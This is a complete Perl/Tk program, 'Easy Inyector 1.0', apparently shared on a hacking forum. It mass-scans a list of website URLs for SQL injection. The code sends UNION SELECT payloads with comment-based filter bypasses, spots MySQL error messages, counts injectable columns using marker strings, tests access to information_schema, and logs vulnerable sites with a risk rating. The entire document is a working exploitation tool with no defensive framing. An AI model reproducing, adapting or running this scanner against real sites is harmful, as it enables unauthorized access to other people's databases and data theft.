[Perl Tk] Easy Inyector 1.0

#!usr/bin/perl
#Easy Inyector 1.0 (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use Win32;
use LWP::UserAgent;

if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $more = MainWindow->new();
$more->title("Easy Inyector 1.0 (C) Doddy Hackman 2011");
$more->geometry("480x280+50+50");
$more->resizable(0,0);

$more->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>30);
my $filex = $more->Entry(-width=>35)->place(-y=>15,-x=>80);
$more->Button(-text=>"Start",-width=>10,-command=>\&start)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&poner)->place(-x=>370,-y=>12);

$more->Label(-text=>"Webs")->place(-y=>70,-x=>150);
my $vuls = $more->Listbox(-width=>40)->place(-y=>100,-x=>50 );

$more->Label(-text=>"Risk")->place(-y=>70,-x=>350);
my $type = $more->Listbox(-width=>10)->place(-y=>100,-x=>340);

MainLoop;

sub poner { 
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure(-text =>$file);
}

sub start {

my $fileax = $filex->get;

unless (-f $fileax) {
Win32::MsgBox("File dont exist",0,"Easy Inyector 1.0");
} else {

$vuls->delete("0.0","end");
$type->delete("0.0","end");

open(FIL,$fileax);
my @webs = <FIL>;
close FIL;

chomp @webs;

my @pages = repes(cortar(@webs));

for my $page(@pages) {

my ($gen,$save,$control) = &length($page,"--");
if ($control eq 1) {
$vuls->insert("end",$gen);
details($gen,$bypass,$save);
}
}
$more->update;
Win32::MsgBox("[+] Scan Finished",0,"Easy Inyector 1.0");
system("start logs/sqli-logs.txt");
}}

sub length {
my $rows  = "0";
my $asc;
my $page = $_[0];

($pass1,$pass2) = &bypass($_[1]);

$inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$more->update;

if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

$more->update;

my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);

unless ($testar1 eq $testar2) {
my $patha = $1;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$more->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
$total.= ",".$rows;
$injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
$total=~s/$number[0]/hackman/;
return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}}}}}

sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/ig) {
my  ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$testx = toma($inforschema);

if ($testx=~/ERTOR854/ig) {
$type->insert("end","Hight");
savefile("sqli-logs.txt","[SQLI] : $page"); 
savefile("sqli-logs.txt","[Risk] : Hight\n");
} else {
savefile("sqli-logs.txt","[SQLI] : $page"); 
savefile("sqli-logs.txt","[Risk] : Low\n");
$type->insert("end","Low");
}}}

sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE; 
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}

sub ascii {
return join ',',unpack "U*",$_[0]; 
}

sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}

sub cortar {
my @nuevo;
for(@_) {
@tengo = split("=",$_);
push(@nuevo,@tengo[0]."=");
}
return @nuevo;
}

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

# ¿ The End ?